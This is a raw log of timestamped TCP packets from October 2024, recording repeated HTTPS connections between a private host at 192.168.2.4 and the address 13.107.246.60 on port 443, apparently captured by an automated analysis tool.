Oct 29, 2024 04:53:17.525161028 CET	443	49861	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.525191069 CET	443	49861	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.525218964 CET	49861	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.525257111 CET	49861	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.525331974 CET	49861	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.525341988 CET	443	49861	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.525352001 CET	49861	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.525357008 CET	443	49861	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.525471926 CET	49864	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.525543928 CET	443	49864	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.525626898 CET	49864	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.525744915 CET	49864	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.525778055 CET	443	49864	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.527472973 CET	49865	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.527555943 CET	443	49865	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.527636051 CET	49865	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.527776957 CET	49865	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.527806997 CET	443	49865	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.536760092 CET	443	49859	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.536906004 CET	443	49859	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.536966085 CET	49859	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.537007093 CET	49859	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.537019014 CET	443	49859	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.537028074 CET	49859	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.537034035 CET	443	49859	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.538988113 CET	49866	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.539012909 CET	443	49866	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.539094925 CET	49866	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.539232969 CET	49866	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.539258957 CET	443	49866	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.612112999 CET	443	49862	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.612256050 CET	443	49862	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.612329960 CET	49862	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.612523079 CET	49862	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.612529039 CET	443	49862	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.612538099 CET	49862	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.612540960 CET	443	49862	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.615252018 CET	49867	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.615292072 CET	443	49867	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.615395069 CET	49867	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.615539074 CET	49867	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.615566969 CET	443	49867	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.387381077 CET	443	49864	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.388107061 CET	49864	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.388151884 CET	443	49864	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.388607025 CET	49864	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.388621092 CET	443	49864	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.388850927 CET	443	49863	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.389180899 CET	49863	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.389200926 CET	443	49863	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.389669895 CET	49863	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.389676094 CET	443	49863	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.396305084 CET	443	49866	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.396332026 CET	443	49865	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.396600962 CET	49866	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.396616936 CET	443	49866	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.396658897 CET	49865	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.396717072 CET	443	49865	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.396986008 CET	49866	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.396996021 CET	443	49866	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.397130013 CET	49865	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.397145033 CET	443	49865	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.514380932 CET	443	49864	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.514424086 CET	443	49864	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.514595032 CET	49864	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.514920950 CET	49864	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.514920950 CET	49864	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.514954090 CET	443	49864	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.514980078 CET	443	49864	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.515702963 CET	443	49867	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.516177893 CET	49867	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.516216993 CET	443	49867	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.516623020 CET	49867	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.516633987 CET	443	49867	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.518547058 CET	49868	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.518568993 CET	443	49868	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.518657923 CET	49868	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.518800020 CET	49868	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.518814087 CET	443	49868	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.524605036 CET	443	49865	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.524640083 CET	443	49865	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.524687052 CET	443	49865	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.524694920 CET	49865	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.524730921 CET	49865	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.524887085 CET	49865	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.524920940 CET	443	49865	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.524945974 CET	49865	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.524960995 CET	443	49865	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.526222944 CET	443	49866	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.526371956 CET	443	49866	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.526446104 CET	49866	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.526482105 CET	49866	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.526482105 CET	49866	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.526499033 CET	443	49866	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.526520014 CET	443	49866	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.526674032 CET	443	49863	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.526731968 CET	443	49863	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.526787043 CET	49863	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.527512074 CET	49869	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.527605057 CET	443	49869	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.527630091 CET	49863	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.527652025 CET	443	49863	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.527667046 CET	49863	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.527673960 CET	443	49863	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.527686119 CET	49869	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.527973890 CET	49869	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.528011084 CET	443	49869	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.528704882 CET	49870	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.528714895 CET	443	49870	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.528790951 CET	49870	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.528914928 CET	49870	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.528923035 CET	443	49870	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.529601097 CET	49871	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.529627085 CET	443	49871	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.529699087 CET	49871	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.529824018 CET	49871	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.529846907 CET	443	49871	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.644181013 CET	443	49867	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.644243956 CET	443	49867	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.644310951 CET	49867	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.644336939 CET	443	49867	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.644367933 CET	443	49867	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.644438982 CET	49867	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.644591093 CET	49867	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.644591093 CET	49867	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.644612074 CET	443	49867	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.644633055 CET	443	49867	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.647152901 CET	49872	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.647193909 CET	443	49872	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:18.647270918 CET	49872	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.647407055 CET	49872	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:18.647434950 CET	443	49872	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.252600908 CET	443	49868	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.258830070 CET	443	49871	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.259263039 CET	49868	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.259273052 CET	443	49868	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.268626928 CET	49868	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.268632889 CET	443	49868	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.270672083 CET	443	49869	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.275893927 CET	49871	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.275950909 CET	443	49871	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.279614925 CET	49871	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.279632092 CET	443	49871	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.283077955 CET	49869	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.283096075 CET	443	49869	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.286835909 CET	49869	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.286849022 CET	443	49869	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.321384907 CET	443	49870	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.374083996 CET	49870	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.394555092 CET	443	49868	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.394666910 CET	443	49868	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.394817114 CET	49868	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.399183989 CET	443	49872	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.405198097 CET	443	49871	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.405253887 CET	443	49871	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.405299902 CET	443	49871	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.405422926 CET	49871	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.405422926 CET	49871	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.415746927 CET	443	49869	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.415882111 CET	443	49869	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.415951014 CET	49869	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.452166080 CET	49872	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.456765890 CET	49870	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.456784964 CET	443	49870	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.457227945 CET	49870	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.457231998 CET	443	49870	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.457407951 CET	49871	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.457408905 CET	49871	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.457458973 CET	443	49871	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.457488060 CET	443	49871	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.457514048 CET	49869	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.457514048 CET	49869	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.457530022 CET	443	49869	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.457550049 CET	443	49869	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.467637062 CET	49868	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.467645884 CET	443	49868	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.467658043 CET	49868	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.467663050 CET	443	49868	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.477406025 CET	49872	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.477436066 CET	443	49872	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.481960058 CET	49872	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.481972933 CET	443	49872	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.484818935 CET	49873	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.484884024 CET	443	49873	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.484998941 CET	49873	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.485125065 CET	49873	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.485156059 CET	443	49873	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.486989975 CET	49874	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.487042904 CET	443	49874	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.487127066 CET	49874	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.487539053 CET	49874	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.487567902 CET	443	49874	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.488228083 CET	49875	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.488249063 CET	443	49875	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.488326073 CET	49875	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.488436937 CET	49875	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.488462925 CET	443	49875	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.583899975 CET	443	49870	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.584055901 CET	443	49870	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.584229946 CET	49870	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.584229946 CET	49870	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.584229946 CET	49870	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.586570024 CET	49876	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.586627007 CET	443	49876	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.586719036 CET	49876	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.586869001 CET	49876	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.586898088 CET	443	49876	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.610317945 CET	443	49872	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.610482931 CET	443	49872	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.610543966 CET	49872	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.610591888 CET	49872	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.610620022 CET	443	49872	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.610646009 CET	49872	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.610658884 CET	443	49872	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.620640039 CET	49877	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.620652914 CET	443	49877	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.620723963 CET	49877	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.620889902 CET	49877	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.620898962 CET	443	49877	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:19.811733961 CET	49870	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:19.811741114 CET	443	49870	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.211668015 CET	443	49874	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.212359905 CET	49874	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.212385893 CET	443	49874	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.212776899 CET	49874	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.212790012 CET	443	49874	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.220211983 CET	443	49875	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.220487118 CET	49875	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.220519066 CET	443	49875	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.220838070 CET	49875	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.220853090 CET	443	49875	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.225763083 CET	443	49873	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.226000071 CET	49873	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.226033926 CET	443	49873	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.226320028 CET	49873	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.226330042 CET	443	49873	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.339008093 CET	443	49874	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.339221954 CET	443	49874	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.339382887 CET	49874	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.339488983 CET	49874	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.339534044 CET	443	49874	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.339562893 CET	49874	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.339580059 CET	443	49874	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.342518091 CET	49878	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.342598915 CET	443	49878	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.342684984 CET	49878	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.342936039 CET	49878	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.342964888 CET	443	49878	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.346772909 CET	443	49877	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.347153902 CET	49877	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.347163916 CET	443	49877	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.347656965 CET	49877	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.347661018 CET	443	49877	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.357314110 CET	443	49875	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.357384920 CET	443	49875	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.357430935 CET	443	49875	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.357446909 CET	49875	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.357646942 CET	49875	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.357646942 CET	49875	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.357646942 CET	49875	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.359180927 CET	443	49873	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.359235048 CET	443	49873	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.359292030 CET	49873	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.359602928 CET	49873	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.359631062 CET	443	49873	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.359657049 CET	49873	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.359672070 CET	443	49873	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.361490965 CET	49879	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.361505032 CET	443	49879	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.361581087 CET	49879	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.362220049 CET	49880	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.362252951 CET	443	49880	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.362308025 CET	49880	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.362449884 CET	49880	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.362459898 CET	443	49880	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.362704039 CET	49879	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.362715960 CET	443	49879	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.369493961 CET	443	49876	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.369877100 CET	49876	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.369913101 CET	443	49876	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.370297909 CET	49876	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.370310068 CET	443	49876	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.474350929 CET	443	49877	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.474508047 CET	443	49877	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.474663019 CET	49877	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.474675894 CET	49877	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.474682093 CET	443	49877	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.474692106 CET	49877	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.474695921 CET	443	49877	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.476751089 CET	49881	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.476803064 CET	443	49881	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.476975918 CET	49881	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.477133989 CET	49881	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.477165937 CET	443	49881	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.510534048 CET	443	49876	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.510693073 CET	443	49876	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.510778904 CET	49876	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.511118889 CET	49876	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.511118889 CET	49876	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.511156082 CET	443	49876	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.511181116 CET	443	49876	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.513901949 CET	49882	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.513947964 CET	443	49882	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.514034033 CET	49882	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.514185905 CET	49882	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.514200926 CET	443	49882	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:20.655253887 CET	49875	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:20.655277967 CET	443	49875	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.078409910 CET	443	49878	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.078915119 CET	49878	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.078953981 CET	443	49878	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.079483032 CET	49878	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.079497099 CET	443	49878	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.094245911 CET	443	49879	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.094579935 CET	49879	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.094590902 CET	443	49879	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.094999075 CET	49879	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.095002890 CET	443	49879	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.104861021 CET	443	49880	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.105161905 CET	49880	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.105181932 CET	443	49880	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.105571985 CET	49880	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.105578899 CET	443	49880	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.207854033 CET	443	49878	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.207997084 CET	443	49878	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.208064079 CET	49878	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.208268881 CET	49878	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.208300114 CET	443	49878	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.208327055 CET	49878	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.208342075 CET	443	49878	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.211337090 CET	49883	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.211378098 CET	443	49883	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.211462975 CET	49883	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.211638927 CET	49883	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.211667061 CET	443	49883	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.213856936 CET	443	49881	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.214303017 CET	49881	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.214319944 CET	443	49881	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.214709044 CET	49881	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.214720011 CET	443	49881	13.107.246.60	192.168.2.4
